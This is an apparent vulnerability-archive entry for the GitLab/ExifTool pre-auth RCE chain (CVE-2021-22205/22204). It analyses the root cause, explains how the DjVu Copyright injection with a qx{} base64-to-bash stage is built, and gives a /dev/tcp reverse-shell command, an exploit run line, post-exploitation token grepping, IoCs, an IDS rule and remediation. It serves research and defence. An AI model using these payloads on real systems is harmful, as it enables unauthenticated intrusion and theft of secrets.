GitLab Unauthenticated RCE via Workhorse Pre-Auth Upload into ExifTool DjVu Injection (CVE-2021-22205)
Published: 2026-08-09 • Researcher: K3ysTr0K3R (exploit author); original discovery by William Bowling (vakzz)
Exploitation signals
Confirmed exploited in the wild. Added to CISA KEV 2021-11-03. Federal remediation deadline 2021-11-17.
EPSS 99.7% · 100th percentile
- Severity
- Critical
- CVE
- CVE-2021-22205 (chains CVE-2021-22204 in ExifTool)
- Category
- web
- Affected product
- GitLab Community Edition and Enterprise Edition (via bundled ExifTool, invoked by GitLab Workhorse)
- Affected versions
- All versions from 11.9 up to (but excluding) 13.8.8, 13.9.6, and 13.10.3
- Disclosed
- 2026-08-09
- Patch status
- Patched
Tags
References
- https://nvd.nist.gov/vuln/detail/CVE-2021-22205
- https://nvd.nist.gov/vuln/detail/CVE-2021-22204
- https://gitlab.com/gitlab-org/cves/-/blob/master/2021/CVE-2021-22205.json
- https://gitlab.com/gitlab-org/gitlab/-/issues/327121
- https://hackerone.com/reports/1154542
- https://github.com/K3ysTr0K3R/CVE-2021-22205
- http://packetstormsecurity.com/files/164768/GitLab-Unauthenticated-Remote-ExifTool-Command-Injection.html
- http://packetstormsecurity.com/files/164994/GitLab-13.10.2-Remote-Code-Execution.html
- https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2021-22205
Archive entry
intelseclab/poc-archiveOn this page
Metadata
| Field | Value |
|---|---|
| Date Added | 2026-08-09 |
| Last Updated | 2026-06-24 |
| Author / Researcher | K3ysTr0K3R (exploit author); original discovery by William Bowling (vakzz) |
| CVE / Advisory | CVE-2021-22205 (chains CVE-2021-22204 in ExifTool) |
| Category | web |
| Severity | Critical |
| CVSS Score | 10.0 (CVSS 3.1, AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H) |
| Status | Patched (GitLab 13.8.8, 13.9.6, 13.10.3) |
| Tags | gitlab, exiftool, djvu, rce, preauth, unauthenticated, workhorse, perl, qx, reverse-shell, metadata-injection, kev, ransomware, python, cve-2021-22205, cve-2021-22204 |
| Related | N/A — the ExifTool half of the chain is CVE-2021-22204, fixed separately in ExifTool 12.24 |
Affected Target
| Field | Value |
|---|---|
| Software / System | GitLab Community Edition and Enterprise Edition (via bundled ExifTool, invoked by GitLab Workhorse) |
| Versions Affected | All versions from 11.9 up to (but excluding) 13.8.8, 13.9.6, and 13.10.3 |
| Language / Platform | Ruby on Rails plus Go (Workhorse) plus Perl (ExifTool) on Linux; PoC is Python 3 |
| Authentication Required | No — this is the defining property of the bug |
| Network Access Required | Yes — HTTP/HTTPS reachability to the GitLab instance, plus an inbound path back to the operator listener for the reverse shell |
Summary
GitLab Workhorse intercepts multipart file uploads and strips image metadata by shelling out to ExifTool before the request is routed to Rails and therefore before any authentication or authorization decision is made. ExifTool in turn contained CVE-2021-22204, a DjVu annotation parsing flaw where the Copyright metadata field is evaluated as Perl, so a qx{...} construct inside it reaches shell execution. Chaining the two yields unauthenticated remote code execution on any GitLab instance from 11.9 onward: an attacker POSTs a crafted DjVu file disguised as poc.jpg to an arbitrary, even nonexistent, URL path and the payload executes as the git user. Rated CVSS 10.0 Critical with an EPSS of roughly 1.00 (100th percentile), it was added to CISA KEV on 2021-11-03 with knownRansomwareCampaignUse = Known and remains one of the most heavily and persistently exploited GitLab vulnerabilities. This entry mirrors a Python PoC that builds the DjVu container, splices in an operator-supplied reverse shell, starts its own listener, and drops into an interactive shell.
Vulnerability Details
Root Cause
Two distinct defects compose into a pre-auth RCE:
1. GitLab side (CVE-2021-22205, CWE-20 improper input validation). Workhorse pre-processes multipart uploads for any request that carries one, sanitizing image metadata by invoking ExifTool. This happens in the Go proxy layer that sits in front of Rails, so it runs before session validation, before route authorization, and even before the route is confirmed to exist. GitLab also decided which files to hand to ExifTool based on the claimed file extension and MIME type rather than the real content, so a DjVu payload named poc.jpg and declared as image/jpeg was still parsed as the DjVu it actually was. The practical consequence, and the reason the PoC posts to a random 8-character path, is that the upload never needs to reach a valid or permitted endpoint — the parsing side effect has already happened by the time the request would have been rejected.
2. ExifTool side (CVE-2021-22204, CWE-95 eval injection). The DjVu ANTa annotation chunk value is passed through a Perl eval in a string context. The exploit therefore crafts a Copyright value that closes the string literal and concatenates the result of a qx{} block, which is Perl backtick syntax and executes its contents in a shell. Decoding the two base64 blobs in exploit.py and splicing the payload reconstructs this annotation exactly:
(metadata
Copyright "\
" . qx{echo <base64 of reverse-shell command> | base64 -d | bash} . \
" b ") )The structure is a container prefix, the injected command, then a closer. Blob 1 is a legitimate DjVu container (AT&TFORM / DJVM / DIRM / FORM / DJVI / ANTa) whose 32-byte annotation prefix ends mid-expression at . qx{, and blob 2 is only the 14-byte closer } . \ \n" b ") ) followed by 350 space characters. That padding is functional rather than decorative: the ANTa chunk header declares a fixed length of 336 bytes, so the trailing spaces guarantee the chunk still supplies its declared byte count no matter how long the operator reverse-shell command turns out to be. The meaningful expression must fit inside that 336-byte window, leaving roughly 290 bytes of command budget after the 32-byte prefix and 14-byte closer.
Attack Vector
A single unauthenticated multipart HTTP POST:
- The exploit generates a random 8-character lowercase-alphanumeric path and POSTs to
<target>/<random>, a path that generally does not exist. - The body is a multipart form with field name
file, filenamepoc.jpg, and content typeimage/jpeg, carrying the crafted DjVu bytes. - Workhorse extracts the upload and runs ExifTool over it pre-auth; ExifTool parses the DjVu annotation, Perl evaluates the
qx{}block, and the shell command runs as thegituser. - The command is
bash -c 'bash -i >& /dev/tcp/<lhost>/<lport> 0>&1', base64-wrapped to survive the metadata field, so the target dials back to the operator listener.
No credentials, no CSRF token, no valid project, and no user interaction are required. The upload response is frequently a non-200 or an outright timeout because the server hangs while the injected shell runs — which is exactly why the PoC treats a timeout as success and waits on the listener instead.
Impact
Remote code execution as the git user on the GitLab application host, which in a typical deployment means read and write access to every hosted repository, the GitLab secrets and secrets.yml signing keys, CI/CD variables and runner registration tokens, and database credentials. Because CI/CD secrets frequently include cloud and registry credentials, a single compromised GitLab instance is a high-grade supply-chain pivot into downstream build and deployment infrastructure. Observed real-world use includes botnet recruitment, cryptomining, and ransomware, which is why the KEV record carries the known-ransomware flag; the EPSS of about 1.00 reflects sustained mass exploitation years after the patch, driven by long-lived unpatched self-managed instances.
Environment / Lab Setup
OS: Linux, Docker host
Target: GitLab CE 13.10.2 (or any 11.9 <= version < 13.8.8 / 13.9.6 / 13.10.3)
Attacker: Python 3 host with an inbound-reachable IP for the reverse shell
Tools: exploit.py (this folder), requests, rich; nc as an alternative listenerSetup Steps
| |
Proof of Concept
See
exploit.pyin this folder — mirrored byte-identically from K3ysTr0K3R/CVE-2021-22205.upstream-README.mdis the unmodified upstream README.
Step-by-Step Reproduction
Run the exploit with the target URL and your listener details. The script starts its own listener, so no separate
ncis needed.Shell script1python3 exploit.py -u http://127.0.0.1:8080 -l 10.0.0.5 -p 4444Let the upload time out if it does. A hang is the expected behaviour while the injected shell runs; the script prints a warning and keeps waiting on the listener.
Use the interactive shell once the callback lands. Type
exitto close it.Outputid cat /etc/gitlab/gitlab.rb | grep -i token
Exploit Code
Full, unmodified upstream source is
exploit.py. The payload construction and the pre-auth upload are the core:
| |
The random path is not an oversight — it demonstrates that Workhorse parses the upload before routing and authorization, which is precisely what makes the bug pre-auth. The listener and the uploader run as concurrent daemon threads so the callback is caught even when the upload request never returns.
Expected Output
[!] Coded By: K3ysTr0K3R
[*] Generating malicious DjVu payload...
[*] Listening on 0.0.0.0:4444 ...
[*] Uploading payload to http://127.0.0.1:8080/a1b2c3d4
[*] Waiting for reverse shell connection... (upload may time out, that's okay)
[!] Upload timed out – this is common if the server hangs while executing the payload.
[!] We'll still check for the reverse shell connection.
[+] Incoming connection from 172.17.0.2:49158
[+] Interactive shell established. Type 'exit' to quit.
id
uid=998(git) gid=998(git) groups=998(git)Detection & Indicators of Compromise
"POST /a1b2c3d4 HTTP/1.1" 422
"POST /<random8> HTTP/1.1" 404 # with a multipart/form-data body containing a file part
AT&TFORM ... DJVM ... DJVI ... ANTa
(metadata
Copyright "\
qx{
git ... /usr/bin/perl /opt/gitlab/embedded/bin/exiftool
git ... \_ bash -c bash -i >& /dev/tcp/<attacker>/<port> 0>&1SIEM / IDS Rule (example):
alert http any any -> any any (msg:"GitLab CVE-2021-22205 ExifTool DjVu metadata injection upload";
flow:established,to_server; content:"POST"; http_method;
content:"multipart/form-data"; http_header;
content:"AT&TFORM"; http_client_body;
content:"ANTa"; http_client_body; distance:0;
content:"qx{"; http_client_body;
sid:9000122; rev:1;)Remediation
| Action | Detail |
|---|---|
| Patch | Upgrade GitLab CE/EE to 13.8.8, 13.9.6, or 13.10.3 (or any later release). Independently ensure bundled ExifTool is 12.24 or later, which fixes the underlying CVE-2021-22204. |
| Workaround | If patching must be deferred, block or strip multipart uploads to unexpected paths at the reverse proxy and reject bodies containing AT&TFORM or ANTa markers. Restrict inbound access to the instance and block outbound egress from the GitLab host to the internet so a reverse shell cannot connect out. Disable open user registration to shrink the wider attack surface. |
| Config Hardening | Treat any instance that was internet-facing while unpatched as compromised: rotate secrets.yml, CI/CD variables, runner registration tokens, deploy keys, and database credentials, then audit for unknown admin users, added SSH keys, and unexpected cron or systemd units. Add egress filtering and alert on exiftool or perl spawning shells under the git account. |
References
- NVD — CVE-2021-22205
- NVD — CVE-2021-22204 (ExifTool DjVu eval injection)
- GitLab CVE record — 2021/CVE-2021-22205.json
- GitLab issue 327121
- HackerOne report 1154542 — William Bowling (vakzz)
- PoC ingested here — K3ysTr0K3R/CVE-2021-22205
- Packet Storm — GitLab Unauthenticated Remote ExifTool Command Injection
- Packet Storm — GitLab 13.10.2 Remote Code Execution
- CISA Known Exploited Vulnerabilities Catalog
Notes
- Verified this session. The full upstream source was read directly (not just repo metadata) before writing this entry, and the two files in this folder are byte-identical mirrors of the upstream repository confirmed with
diffagainst a fresh clone. - The two base64 blobs are benign, and this is the most important thing to know about this entry. A reader skimming
exploit.pysees two long base64 strings plus very long lines and will reasonably suspect a hidden payload, so both blobs were decoded during verification and are documented here rather than trusted. Blob 1 (part1_b64, 224 bytes decoded) is a legitimate DjVu container — it begins with theAT&TFORMmagic and contains theDJVM,DIRM,FORM,DJVI, andANTachunk structure, ending mid-expression with the ExifTool metadata injection prefix(metadata ... Copyright "\ \n" . qx{. Blob 2 (part3_b64, 364 bytes decoded) is nothing but the 14-byte closer} . \ \n" b ") )followed by 350 space characters of padding to satisfy the 336-byte length declared in theANTachunk header. The operator reverse shell is spliced between the two halves at runtime bygenerate_malicious_djvu(). There is no hidden payload, no second-stage download, and no hardcoded C2 anywhere in the file — the blobs are simply a pre-built exploit container, and base64 is used because the bytes are binary. - Malware screen — clean. No
evaland noexecanywhere; nosubprocessoros.systemmisuse (the only command execution is the payload that runs on the target, which is the point of the PoC); no remote code or tool fetch; no reading or exfiltration of local credentials, SSH keys, or environment variables; no miner, no persistence mechanism, and no destructive action against the operator host; no committed binaries or archives in the repository. Dependencies are limited torequestsandrich, both mainstream correctly-spelled PyPI packages with no typosquatting, alongside standard-librarysocket,threading,queue,select,base64,random,string,argparse,sys, andtime. All callbacks are operator-supplied:--lhostand--lportarerequired=Truearguments with no defaults and no fallback address, the listener binds locally on the operator-chosen port, and the only outbound traffic is the upload to the operator-specified--url. - Upstream README quality — stated honestly. The upstream README is generic and reads as LLM-generated: its References section lists “NVD: CVE-2021-22205”, “GitLab Security Advisory”, “Rapid7 Analysis”, and “CISA Known Exploited Vulnerabilities Catalog” as bare unlinked text, and its technical section is high-level background rather than a description of what the code does. The description in this entry was therefore written from the code itself and from primary sources, not from upstream claims. The code, by contrast, is real and internally coherent: the DjVu container decodes cleanly, the Perl injection is correctly formed, the threading model correctly anticipates the upload hang, and the payload budget fits the declared chunk length.
- A timeout is success, not failure.
upload_exploit()deliberately putsTrueon the result queue onrequests.exceptions.Timeout, because the server commonly hangs while the injected reverse shell runs. Operators who expect a clean HTTP 200 will misread a working exploit as a failed one. - Listener timeout is 60 seconds (
sock.settimeout(60)), so slow or heavily loaded targets can miss the window and report “No reverse shell connection received” even though the payload landed. TheSO_REUSEADDRoption is set, so an immediate retry on the same port works. - Author credibility:
K3ysTr0K3Ris an established account (84 repositories, roughly 319 followers, commit identity70909693+K3ysTr0K3R@users.noreply.github.comunder the name Jared) with a consistent history of CVE PoC publication. The original vulnerability research is credited to William Bowling (vakzz), who reported both halves of the chain via HackerOne. - Both halves need attention. Patching GitLab closes the pre-auth path, but the underlying ExifTool flaw (CVE-2021-22204) affects any application that feeds untrusted files to ExifTool below version 12.24. Audit other services in the estate that do image metadata stripping.
| |